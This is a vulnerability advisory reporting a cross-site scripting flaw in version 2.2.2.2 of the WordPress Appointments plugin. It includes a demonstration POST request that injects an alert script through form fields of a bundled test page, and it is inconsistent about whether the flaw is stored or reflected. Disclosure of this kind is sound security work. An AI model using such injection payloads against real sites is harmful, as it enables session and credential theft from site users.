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WordPress Appointments 2.2.2.2 Cross Site Scripting

WordPress Appointments 2.2.2.2 Cross Site Scripting
Posted Nov 13, 2017
Authored by Ricardo Sanchez

WordPress Appointments plugin version 2.2.2.2 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | 31979d5711c68659f005497416506bc2

WordPress Appointments 2.2.2.2 Cross Site Scripting

Change Mirror Download
Class Input Validation Error
Remote Yes

Credit Ricardo Sanchez
Vulnerable Appointments Plugin 2.2.2.2

Appointments Plugin is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the values are not filter correctly:


Demo Request POST:

POST
/wordpress/wp-content/plugins/appointments/bower_components/jquery-ui-multiselect-widget/tests/visual/formsubmission.php
HTTP/1.1
Host: localhost
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Cookie:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

foo=<script>alert("XSS")</script>&bar=<script>alert("XSS")</script>
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